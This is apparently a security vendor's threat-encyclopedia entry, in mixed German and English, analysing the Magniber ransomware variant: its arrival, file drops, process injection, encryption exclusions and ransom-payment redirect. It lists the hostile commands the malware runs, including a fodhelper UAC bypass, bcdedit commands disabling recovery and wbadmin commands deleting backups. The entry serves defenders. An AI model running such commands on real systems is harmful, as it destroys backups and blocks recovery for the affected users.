Ransom.Win64.MAGNIBER.YPCGK

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Sammelt bestimmte Informationen auf dem betroffenen Computer.

Leitet Browser zu bestimmten Websites um.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein und führt sie aus:

• %Public%\{random characters}.arc → Encoded script that disables recovery boot and deletes system backups

Fügt die folgenden Prozesse hinzu:

• %System%\cmd.exe /c fodhelper.exe → to bypass UAC
• "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/{random characters}.arc
• bcdedit /set {default} recoveryenabled no
• wbadmin delete catalog -quiet
• wbadmin delete systemstatebackup -quiet
• bcdedit /set {default} bootstatuspolicy ignoreallfailures
• Open payment payment page through Microsoft Edge browser:
  • cmd /c "start microsoft-edge:http://{random characters}telmpeup.{BLOCKED}e.tech./telmpeup&{string1}&{string2}&{string3}&{string4}&{string5}
  • where:
  • {string1} - The number of drives in which the ransomware has enumerated files
  • {string2} - Total size of encrypted data has generated in bytes
  • {string3} - The number of files it encrypts
  • {string4} - The number of file it enumerates
  • {string5} - The build number of the compromised Windows OS

Fügt die folgenden Mutexe hinzu, damit nur jeweils eine ihrer Kopien ausgeführt wird:

• \BasedNameObjects\ecxwpbkdzzxrrhlqC

Injiziert Code in die folgenden Prozesse:

• It injects into each process if the following criteria is met:
  • It is not running in a WOW64 environment.
  • The process integrity level is less than SYSTEM.
  • The UNICODE process name length is greater than 6.

Datendiebstahl

Sammelt die folgenden Informationen auf dem betroffenen Computer:

• The number of drives in which the ransomware has enumerated files
• Total size of encrypted data has generated in bytes
• The number of files it encrypts
• The number of file it enumerates
• The build number of the compromised Windows OS

Andere Details

Leitet Browser zu folgenden Websites um:

• http://{random characters}telmpeup.{BLOCKED}e.tech./telmpeup&{string1}&{string2}&{string3}&{string4}&{string5} → connects to payment page

Es macht Folgendes:

• It encrypts the following volume types:
  • FILE_DEVICE_DISK
• It avoids encrypting volumes with the following characteristics:
  • FILE_READ_ONLY_DEVICE
  • FILE_FLOPPY_DISKETTE
  • FILE_WRITE_ONCE_MEDIA
• It avoids encrypting folders with the following attributes:
  • FILE_ATTRIBUTE_SYSTEM
  • FILE_ATTRIBUTE_HIDDEN
  • FILE_ATTRIBUTE_ENCRYPTED
• It avoids encrypting files with the following attributes:
  • FILE_ATTRIBUTE_HIDDEN
  • FILE_ATTRIBUTE_READONLY
  • FILE_ATTRIBUTE_SYSTEM
  • FILE_ATTRIBUTE_TEMPORARY
  • FILE_ATTRIBUTE_VIRTUAL
• It avoids encrypting files with no file extensions.